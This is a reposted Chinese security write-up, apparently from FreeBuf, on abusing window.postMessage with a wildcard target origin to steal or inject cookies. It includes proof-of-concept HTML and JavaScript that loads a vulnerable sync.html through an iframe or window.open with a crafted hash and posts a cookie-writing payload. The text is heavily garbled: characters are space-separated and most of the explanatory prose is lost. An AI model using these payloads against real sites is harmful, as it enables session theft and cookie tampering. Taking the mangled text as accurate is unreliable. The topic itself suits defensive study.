[13723] 2019-02-01_如何利用postMessage窃取编辑用户的Cookie信息

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2019-02-01_如何利用postMessage窃取编辑用户的Cookie信息 p o s t M e s s a g e C o o k i e c l o u d s   F r e e B u f   2 0 1 9 - 0 2 - 0 1 H T T P p o s t M e s s a g e C o o k i e p o s t M e s s a g e i f r a m e w i n d o w . p o s t M e s s a g e / f r a m e s H T M L 5 W i n d o w . p o s t M e s s a g e ( )   h t t p s 4 4 3 h t t p s   ( D o c u m e n t . d o m a i n )   w i n d o w . p o s t M e s s a g e ( )   使 W i n d o w . p o s t M e s s a g e m e s s a g e t a r g e t O r i g i n [ t r a n s f e r ] ) m e s s a g e t a r g e t O r i g i n t r a n s f e r w i n d o w . a d d E v e n t L i s t e n e r ( m e s s a g e ,   r e c e i v e M e s s a g e ,   f a l s e ) m e s s a g e d a t a o r i g i n s o u r c e o r i g i n p o s t M e s s a g e j s j s c h i l d . h t m l p o s t M e s s a g e < s c r i p t >         f u n c t i o n   m e s s a g e s ( e v e n t )         {                 c o n s o l e . l o g ( e v e n t ) ;         }         w i n d o w . a d d E v e n t L i s t e n e r ( m e s s a g e , m e s s a g e s , f a l s e ) ;         c o n s o l e . l o g ( l i s t e n i n g ) ;   < / s c r i p t > < i f r a m e   > < / i f r a m e > w i n d o w . p a r e n t . p o s t M e s s a g e ( " H e l l o   p a r e n t " ,   " t a r g e t " ) ;
? 访 c h i l d . h t m l t a r g e t p o s t M e s s a g e t a r g e t * o n g a . c o m H T M L H T M L   s y n c . h t m l J a v a s c r i p t s c r i p t s y n c . h t m l   p o s t M e s s a g e w O r i g i n m s g w O r i g i n m s g C o o k i e w O r i g i n   U R L D e c o d e j s o n n s w O r i g i n w i n d o w . l o c a t i o n . h a s h d o m - b a s e d   X S S   n s     w O r i g i n   p o s t M e s s a g e e x p l o i t w i n d o w . p a r e n t . p o s t M e s s a g e ( J S O N . s t r i n g i f y ( m s g ) ,   w O r i g i n ) ; v a r   f d a t a   =   J S O N . p a r s e ( d e c o d e U R I C o m p o n e n t ( w i n d o w . l o c a t i o n . h a s h . s u b s t r ( 1 ) ) ) ; v a r   n s   =   f d a t a . n s ; v a r   w o r i g i n   =   f d a t a . w o r i g i n ;
E x p l o i t n s     w O r i g i n     n s = a n y b l a h   w O r i g i n = * j s o n   { n s : a n y b l a h , w O r i g i n : * } U R L h t t p : / / v u l n e r a b l e - o n g a . c o m / s y n c . h t m l # { n s : a n y b l a h , w O r i g i n : * } U R L p o s t M e s s a g e * i f r a m e P o C h t t p : / / a t t a c k e r . c o m / p o c . h t m l i f r a m e i f r a m e c o o k i e c o o k i e 西 p o s t M e s s a g e 5 7 w i n d o w . a d d E v e n t L i s t e n e r ( m e s s a g e ,   h _ m e s s a g e ) ; h _ m e s s a g e j s o n < s c r i p t >     f u n c t i o n   r c v ( e v e n t )       {                   c o n s o l e . l o g ( e v e n t ) ;       }     w i n d o w . a d d E v e n t L i s t e n e r ( ' m e s s a g e ' , r c v , f a l s e ) ; < / s c r i p t > < s c r i p t >     f u n c t i o n   r c v ( e v e n t )       {         c o n s o l e . l o g ( e v e n t ) ;       }     w i n d o w . a d d E v e n t L i s t e n e r ( ' m e s s a g e ' , r c v , f a l s e ) ; < / s c r i p t > < i f r a m e   s r c = ' h t t p : / / v u l n e r a b l e - o n g a . c o m / s y n c . h t m l # { " n s " : " a n y b l a h " , " w O r i g i n " : " * " } '   / > f u n c t i o n   h _ m e s s a g e ( e v e n t ) {                     v a r   d a t a   =   n u l l ;                     t r y   {   d a t a   =   J S O N . p a r s e ( e v e n t . d a t a ) ;   }   c a t c h ( e )   {   r e t u r n ; }                     i f   ( d a t a . m s g T y p e   ! = =   " w r i t e "   & &   d a t a . n a m e s p a c e   ! = =   n s )   {                         r e t u r n ;                     }                     s e t C o o k i e ( d a t a . c o o k i e N a m e ,   d a t a . c o o k i e V a l , p a r s e I n t ( d a t a . e x p i r e s D a y s ,   1 0 ) ,   d a t a . s e c u r e O n l y ) ;               }
j s o n m s g T y p e w r i t e n a m e s p a c e h a s h   n s i f   ( d a t a . m s g T y p e   ! = =   w r i t e   & &   d a t a . n a m e s p a c e   ! = =   n s ) 使 r e t u r n j s o n s e t C o o k i e ( ) s e t C o o k i e ( ) j s o n { m s g T y p e : w r i t e , n a m e s p a c e : a , c o o k i e N a m e : i n j e c t e d t , c o o k i e V a l : h a c k e d , e x p i r e s D a y s : 1 0 , s e c u r e O n l y : f a l s e } U R L / s y n c . h t m l # { n s : a , w O r i g i n : * } P o C P o C h t m l c o o k i e c o o k i e c o o k i e h t t p : / / w w w . s e c - 1 . c o m / b l o g / w p - c o n t e n t / u p l o a d s / 2 0 1 6 / 0 8 / H u n t i n g p o s t M e s s a g e - V u l n e r a b i l i t i e s . p d f h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = X T K q Q 9 m h c g M h t t p s : / / r o b e r t n y m a n . c o m / 2 0 1 0 / 0 3 / 1 8 / p o s t m e s s a g e - i n - h t m l 5 - t o - s e n d - m e s s a g e s - b e t w e e n - w i n d o w s - a n d - i f r a m e s / h t t p s : / / g i s t . g i t h u b . c o m / Y a s s e r G e r s y / 1 f c 7 7 f f 9 b 6 7 8 f b 5 0 2 8 a 2 7 2 a 8 6 c 1 d 2 e a 1 < s c r i p t >               v a r   t a r = ' h t t p : / / o n g a . c o m / s y n c . h t m l # { " n s " : " a " , " w O r i g i n " : " * " } ' ;               v a r   p a y = { " m s g T y p e " : " w r i t e " , " n a m e s p a c e " : " a " , " c o o k i e N a m e " : " i n j e c t e d t " , " c o o k i e V a l " : " h a c k e d " , " e x p i r e s D a y s " : 1 0 , " s e c u r e O n l y " : f a l s e } ;                   v a r   c =   w i n d o w . o p e n ( t a r , " c h i l d " ) ;               c . p o s t M e s s a g e ( p a y , " * " ) ; < / s c r i p t >
h t t p s : / / n g a i l o n g . w o r d p r e s s . c o m / 2 0 1 8 / 0 2 / 1 3 / t h e - m y s t e r y - o f - p o s t m e s s a g e / * m e d i u m c l o u d s F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则